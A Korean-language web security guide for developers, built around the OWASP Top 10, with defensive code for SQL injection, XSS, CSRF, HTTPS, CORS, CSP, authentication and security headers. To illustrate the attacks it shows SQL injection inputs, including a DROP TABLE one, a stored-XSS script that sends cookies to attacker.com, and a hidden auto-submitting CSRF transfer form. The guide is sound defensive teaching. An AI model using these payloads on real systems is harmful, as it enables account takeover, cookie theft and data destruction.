웹 보안 기초 가이드: 개발자가 반드시 알아야 할 보안 필수 지식
OWASP Top 10, XSS, CSRF, SQL Injection 방지, HTTPS, CORS, CSP 등 웹 애플리케이션 보안의 핵심 개념과 방어 기법을 실전 예제와 함께 알아봅니다.
웹 보안 기초 가이드: 개발자가 반드시 알아야 할 보안 필수 지식
웹 보안은 선택이 아닌 필수입니다. 매년 수백만 건의 데이터 유출 사고가 발생하고, 그 대부분은 기본적인 보안 원칙을 지키지 않아서 발생합니다. 보안 전문가가 아니더라도 웹 개발자라면 반드시 알아야 할 보안 지식이 있습니다. 이 글에서는 OWASP Top 10을 중심으로 가장 흔한 웹 취약점과 그 방어 기법을 실전 예제와 함께 상세히 다루겠습니다.
OWASP Top 10이란?
OWASP(Open Web Application Security Project)는 웹 애플리케이션 보안에 관한 비영리 재단입니다. OWASP Top 10은 가장 심각한 웹 애플리케이션 보안 위험 10가지를 정리한 문서로, 전 세계 개발자와 보안 전문가의 참고 자료로 널리 활용됩니다. 주요 항목을 살펴보면서 각 취약점의 원리와 방어법을 알아보겠습니다.
1. SQL Injection (SQL 인젝션)
SQL 인젝션은 가장 오래되었으면서도 여전히 가장 위험한 공격 중 하나입니다. 공격자가 입력값에 SQL 코드를 삽입하여 데이터베이스를 조작하는 공격입니다.
취약한 코드 예시
// 절대 이렇게 작성하지 마세요!
app.post('/login', (req, res) => {
const { username, password } = req.body;
const query = `SELECT * FROM users WHERE username = '${username}' AND password = '${password}'`;
db.query(query);
});
공격자가 username에 admin' --을 입력하면 실제 실행되는 SQL은 다음과 같습니다.
SELECT * FROM users WHERE username = 'admin' --' AND password = ''
--는 SQL 주석이므로 이후의 비밀번호 검증이 무시됩니다. 비밀번호 없이 admin 계정으로 로그인할 수 있게 됩니다. 더 심각한 경우, 공격자가 '; DROP TABLE users; --를 입력하면 사용자 테이블이 삭제될 수도 있습니다.
방어 방법: 매개변수화된 쿼리
// 안전한 방법: 매개변수화된 쿼리 (Prepared Statement)
app.post('/login', (req, res) => {
const { username, password } = req.body;
const query = 'SELECT * FROM users WHERE username = $1 AND password = $2';
db.query(query, [username, password]);
});
// ORM 사용 (Prisma 예시)
const user = await prisma.user.findFirst({
where: {
username: username,
password: hashedPassword
}
});
핵심 원칙:
- 사용자 입력을 직접 SQL 문자열에 포함하지 마세요.
- 항상 매개변수화된 쿼리(Prepared Statement)를 사용하세요.
- ORM을 사용하면 대부분의 SQL 인젝션을 자동으로 방지합니다.
- 데이터베이스 사용자 권한을 최소한으로 설정하세요.
2. XSS (Cross-Site Scripting)
XSS는 공격자가 웹 페이지에 악성 스크립트를 삽입하여 다른 사용자의 브라우저에서 실행되게 하는 공격입니다. 쿠키 탈취, 세션 하이재킹, 피싱 등 다양한 악용이 가능합니다.
XSS의 세 가지 유형
Stored XSS (저장형): 악성 스크립트가 서버 데이터베이스에 저장되어, 해당 페이지를 방문하는 모든 사용자에게 실행됩니다. 게시판, 댓글, 프로필 등에서 발생합니다.
<!-- 공격자가 댓글에 다음을 입력 -->
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
Reflected XSS (반사형): 악성 스크립트가 URL 파라미터 등에 포함되어, 서버가 이를 그대로 응답에 포함시킬 때 발생합니다.
https://example.com/search?q=<script>alert('XSS')</script>
DOM-based XSS: 서버를 거치지 않고, 클라이언트 측 JavaScript가 DOM을 조작하면서 발생합니다.
// 취약한 코드
document.getElementById('output').innerHTML = location.hash.substring(1);
// URL: https://example.com/#<img src=x onerror=alert('XSS')>
XSS 방어 방법
// 1. 출력 시 이스케이프 처리
function escapeHtml(str) {
const map = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": '''
};
return str.replace(/[&<>"']/g, (m) => map[m]);
}
// 사용자 입력을 HTML에 삽입할 때
const safeContent = escapeHtml(userInput);
element.textContent = userInput; // innerHTML 대신 textContent 사용
// 2. React/Next.js에서는 기본적으로 이스케이프됨
function Comment({ content }) {
// 안전: React가 자동으로 이스케이프
return <p>{content}</p>;
// 위험: dangerouslySetInnerHTML은 XSS 위험
// return <p dangerouslySetInnerHTML={{ __html: content }} />;
}
// 3. DOMPurify 라이브러리로 HTML 새니타이징
import DOMPurify from 'dompurify';
// 마크다운 렌더링 등 HTML이 필요한 경우
const cleanHtml = DOMPurify.sanitize(dirtyHtml);
핵심 원칙:
- 사용자 입력을 신뢰하지 마세요.
- 출력 시 컨텍스트에 맞는 이스케이프 처리를 적용하세요.
innerHTML대신textContent를 사용하세요.- 부득이하게 HTML 삽입이 필요하면 DOMPurify로 새니타이징하세요.
3. CSRF (Cross-Site Request Forgery)
CSRF는 사용자가 의도하지 않은 요청을 보내도록 유도하는 공격입니다. 사용자가 로그인한 상태에서 악성 사이트를 방문하면, 그 사이트가 사용자의 권한으로 요청을 보낼 수 있습니다.
CSRF 공격 예시
사용자가 은행 사이트에 로그인한 상태에서 악성 사이트를 방문합니다.
<!-- 악성 사이트에 숨겨진 폼 -->
<form action="https://bank.com/transfer" method="POST" id="evil-form">
<input type="hidden" name="to" value="attacker-account" />
<input type="hidden" name="amount" value="1000000" />
</form>
<script>document.getElementById('evil-form').submit();</script>
브라우저는 bank.com에 대한 쿠키를 자동으로 포함하여 요청을 보내므로, 은행 서버는 정상적인 요청으로 인식합니다.
CSRF 방어 방법
// 1. CSRF 토큰 사용 (Express.js 예시)
const csrf = require('csurf');
const csrfProtection = csrf({ cookie: true });
app.get('/transfer', csrfProtection, (req, res) => {
res.render('transfer', { csrfToken: req.csrfToken() });
});
app.post('/transfer', csrfProtection, (req, res) => {
// CSRF 토큰이 유효하지 않으면 자동으로 403 에러
processTransfer(req.body);
});
<!-- 폼에 CSRF 토큰 포함 -->
<form action="/transfer" method="POST">
<input type="hidden" name="_csrf" value="{{csrfToken}}" />
<input type="text" name="to" />
<input type="number" name="amount" />
<button type="submit">송금</button>
</form>
// 2. SameSite 쿠키 설정
res.cookie('session', sessionId, {
httpOnly: true, // JavaScript에서 접근 불가
secure: true, // HTTPS에서만 전송
sameSite: 'strict', // 같은 사이트의 요청에만 쿠키 포함
maxAge: 3600000 // 1시간
});
핵심 원칙:
- 상태 변경 요청(POST, PUT, DELETE)에는 CSRF 토큰을 사용하세요.
- SameSite 쿠키 속성을 설정하세요.
- 중요한 작업에는 사용자 재인증을 요구하세요.
4. HTTPS와 전송 보안
HTTPS(HTTP Secure)는 HTTP 통신을 TLS(Transport Layer Security)로 암호화하는 프로토콜입니다. 중간자 공격(Man-in-the-Middle)을 방지하고, 데이터의 기밀성과 무결성을 보장합니다.
HTTPS가 필요한 이유
- 데이터 암호화: 로그인 정보, 결제 정보 등 민감한 데이터를 도청으로부터 보호합니다.
- 데이터 무결성: 전송 중 데이터가 변조되지 않았음을 보장합니다.
- 인증: 서버의 신원을 확인하여 피싱 사이트를 방지합니다.
- SEO 이점: Google은 HTTPS를 검색 순위 요소로 사용합니다.
- 브라우저 기능: Service Worker, Geolocation API 등 최신 브라우저 기능은 HTTPS에서만 동작합니다.
HSTS (HTTP Strict Transport Security)
HSTS 헤더를 설정하면 브라우저가 해당 도메인에 대해 항상 HTTPS로 접속하도록 강제합니다.
// Express.js에서 HSTS 설정
const helmet = require('helmet');
app.use(helmet.hsts({
maxAge: 31536000, // 1년
includeSubDomains: true, // 서브도메인도 포함
preload: true // HSTS 프리로드 목록에 등록
}));
# Nginx 설정
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
5. CORS (Cross-Origin Resource Sharing)
CORS는 브라우저의 동일 출처 정책(Same-Origin Policy)을 제어하는 메커니즘입니다. 기본적으로 브라우저는 다른 출처(도메인, 포트, 프로토콜이 다른)의 리소스 요청을 차단합니다. CORS 설정을 통해 허용할 출처를 지정할 수 있습니다.
CORS 설정
// Express.js CORS 설정
const cors = require('cors');
// 특정 출처만 허용 (프로덕션 권장)
app.use(cors({
origin: ['https://www.mysite.com', 'https://admin.mysite.com'],
methods: ['GET', 'POST', 'PUT', 'DELETE'],
allowedHeaders: ['Content-Type', 'Authorization'],
credentials: true, // 쿠키 포함 허용
maxAge: 86400 // 프리플라이트 캐시 (24시간)
}));
CORS 설정 시 주의사항:
origin: '*'는 개발 환경에서만 사용하세요. 프로덕션에서는 명시적 출처를 지정합니다.credentials: true와origin: '*'는 함께 사용할 수 없습니다.- 필요한 메서드와 헤더만 허용하세요.
6. CSP (Content Security Policy)
CSP는 XSS 공격을 방어하는 추가적인 보안 계층입니다. 어떤 리소스(스크립트, 스타일, 이미지 등)를 로드할 수 있는지 브라우저에게 명시적으로 알려줍니다.
CSP 설정
// Express.js에서 helmet으로 CSP 설정
app.use(helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", "https://www.googletagmanager.com", "https://pagead2.googlesyndication.com"],
styleSrc: ["'self'", "'unsafe-inline'", "https://fonts.googleapis.com"],
imgSrc: ["'self'", "data:", "https:"],
fontSrc: ["'self'", "https://fonts.gstatic.com"],
connectSrc: ["'self'", "https://www.google-analytics.com"],
frameSrc: ["https://googleads.g.doubleclick.net"],
objectSrc: ["'none'"],
upgradeInsecureRequests: []
}
}));
<!-- HTML 메타 태그로도 설정 가능 -->
<meta http-equiv="Content-Security-Policy"
content="default-src 'self'; script-src 'self' https://www.googletagmanager.com; style-src 'self' 'unsafe-inline';">
CSP를 설정하면 허용되지 않은 출처의 스크립트는 실행이 차단됩니다. 공격자가 XSS를 통해 악성 스크립트를 삽입하더라도, CSP가 해당 스크립트의 실행을 막아줍니다.
7. 인증과 세션 관리
안전한 인증 시스템은 웹 보안의 핵심입니다. 올바르지 않은 인증 구현은 계정 탈취, 권한 상승 등 심각한 보안 문제를 야기합니다.
비밀번호 보안
// bcrypt로 비밀번호 해싱
const bcrypt = require('bcrypt');
const SALT_ROUNDS = 12;
// 회원가입 시 비밀번호 해싱
async function hashPassword(password) {
return await bcrypt.hash(password, SALT_ROUNDS);
}
// 로그인 시 비밀번호 검증
async function verifyPassword(password, hashedPassword) {
return await bcrypt.compare(password, hashedPassword);
}
비밀번호 저장 규칙:
- 절대 평문으로 저장하지 마세요.
- MD5, SHA-1은 사용하지 마세요. bcrypt, scrypt, Argon2를 사용하세요.
- 솔트(salt)를 반드시 포함하세요. bcrypt는 자동으로 솔트를 생성합니다.
- 비밀번호 최소 길이(8자 이상)와 복잡성 규칙을 적용하세요.
JWT (JSON Web Token) 보안
const jwt = require('jsonwebtoken');
// 토큰 생성
function generateToken(user) {
return jwt.sign(
{ userId: user.id, role: user.role },
process.env.JWT_SECRET,
{
expiresIn: '1h', // 짧은 만료 시간
issuer: 'myapp.com', // 발행자
audience: 'myapp.com' // 대상
}
);
}
// 토큰 검증 미들웨어
function authMiddleware(req, res, next) {
const token = req.headers.authorization?.split(' ')[1];
if (!token) {
return res.status(401).json({ error: '인증이 필요합니다.' });
}
try {
const decoded = jwt.verify(token, process.env.JWT_SECRET, {
issuer: 'myapp.com',
audience: 'myapp.com'
});
req.user = decoded;
next();
} catch (error) {
return res.status(401).json({ error: '유효하지 않은 토큰입니다.' });
}
}
JWT 보안 체크리스트:
- 시크릿 키는 환경변수로 관리하고, 충분히 긴 랜덤 문자열을 사용하세요.
- 만료 시간을 짧게 설정하고, 리프레시 토큰으로 갱신하세요.
- 민감한 정보(비밀번호, 주민번호 등)는 페이로드에 포함하지 마세요.
- 토큰을 localStorage 대신 httpOnly 쿠키에 저장하세요.
8. 입력 유효성 검사
모든 사용자 입력은 신뢰할 수 없습니다. 클라이언트와 서버 양쪽에서 유효성 검사를 수행해야 합니다.
// Zod를 사용한 서버측 유효성 검사
const { z } = require('zod');
const userSchema = z.object({
email: z.string().email('유효한 이메일을 입력하세요'),
password: z.string()
.min(8, '비밀번호는 8자 이상이어야 합니다')
.regex(/[A-Z]/, '대문자를 포함해야 합니다')
.regex(/[0-9]/, '숫자를 포함해야 합니다')
.regex(/[!@#$%^&*]/, '특수문자를 포함해야 합니다'),
name: z.string()
.min(2, '이름은 2자 이상이어야 합니다')
.max(50, '이름은 50자 이하여야 합니다')
.regex(/^[가-힣a-zA-Z\s]+$/, '이름에 특수문자를 사용할 수 없습니다')
});
app.post('/register', (req, res) => {
const result = userSchema.safeParse(req.body);
if (!result.success) {
return res.status(400).json({
errors: result.error.flatten().fieldErrors
});
}
// 유효성 검사를 통과한 안전한 데이터
createUser(result.data);
});
유효성 검사 원칙:
- 클라이언트 검증은 사용자 경험을 위한 것이며, 보안 검증은 반드시 서버에서 수행하세요.
- 허용 목록(whitelist) 방식을 사용하세요. 허용할 입력을 정의하는 것이 차단할 입력을 정의하는 것보다 안전합니다.
- 파일 업로드 시 파일 확장자뿐 아니라 MIME 타입과 매직 바이트도 검증하세요.
9. 보안 헤더 설정
HTTP 응답 헤더를 통해 다양한 브라우저 보안 기능을 활성화할 수 있습니다. helmet 미들웨어를 사용하면 주요 보안 헤더를 간편하게 설정할 수 있습니다.
const helmet = require('helmet');
// helmet은 여러 보안 헤더를 한 번에 설정
app.use(helmet());
// 개별 설정도 가능
app.use(helmet({
// X-Frame-Options: 클릭재킹 방지
frameguard: { action: 'deny' },
// X-Content-Type-Options: MIME 타입 스니핑 방지
noSniff: true,
// Referrer-Policy: 리퍼러 정보 제어
referrerPolicy: { policy: 'strict-origin-when-cross-origin' },
// X-XSS-Protection: 브라우저 XSS 필터
xssFilter: true,
// Permissions-Policy: 브라우저 기능 접근 제어
permittedCrossDomainPolicies: { permittedPolicies: 'none' }
}));
10. 보안 체크리스트
웹 애플리케이션을 배포하기 전에 확인해야 할 보안 체크리스트를 정리합니다.
필수 항목
- HTTPS가 적용되어 있는가?
- HSTS 헤더가 설정되어 있는가?
- 모든 사용자 입력에 유효성 검사가 적용되어 있는가?
- SQL 쿼리에 매개변수화된 쿼리를 사용하는가?
- 출력 시 적절한 이스케이프 처리가 되어 있는가?
- CSRF 토큰이 적용되어 있는가?
- 비밀번호가 bcrypt/Argon2로 해싱되어 있는가?
- 세션/JWT 만료 시간이 설정되어 있는가?
- 보안 헤더(CSP, X-Frame-Options 등)가 설정되어 있는가?
- 에러 메시지가 내부 정보를 노출하지 않는가?
권장 항목
- Rate Limiting이 적용되어 있는가?
- 로그인 시도 제한이 있는가?
- 2단계 인증(2FA)을 지원하는가?
- 의존성 패키지의 취약점을 정기적으로 검사하는가?
- 보안 로그를 수집하고 모니터링하는가?
- 민감한 데이터가 암호화되어 저장되는가?
# npm 패키지 취약점 검사
npm audit
# 자동 수정
npm audit fix
마무리
웹 보안은 방대한 분야이지만, 이 글에서 다룬 기본 원칙만 지켜도 대부분의 일반적인 공격을 방어할 수 있습니다. 핵심을 요약하면 다음과 같습니다.
- 사용자 입력을 절대 신뢰하지 마세요: SQL Injection, XSS의 근본 원인은 검증되지 않은 입력입니다.
- HTTPS를 반드시 적용하세요: 모든 통신을 암호화하고 HSTS를 설정하세요.
- CSRF 토큰과 SameSite 쿠키를 사용하여 교차 사이트 요청 위조를 방지하세요.
- CSP와 보안 헤더를 설정하여 브라우저 수준의 방어 계층을 추가하세요.
- 비밀번호는 반드시 해싱하고, JWT는 짧은 만료 시간과 함께 안전하게 관리하세요.
- 의존성 보안을 정기적으로 점검하고, 최신 보안 패치를 적용하세요.
보안은 한 번에 완성되는 것이 아니라 지속적인 관심과 업데이트가 필요한 과정입니다. OWASP 웹사이트를 정기적으로 방문하여 최신 보안 동향을 파악하고, 보안 사고 사례를 학습하여 같은 실수를 반복하지 않는 것이 중요합니다. "보안은 가장 약한 고리만큼만 강하다"는 말을 항상 기억하며, 모든 계층에서 방어할 수 있는 심층 방어(Defense in Depth) 전략을 구축하시기 바랍니다.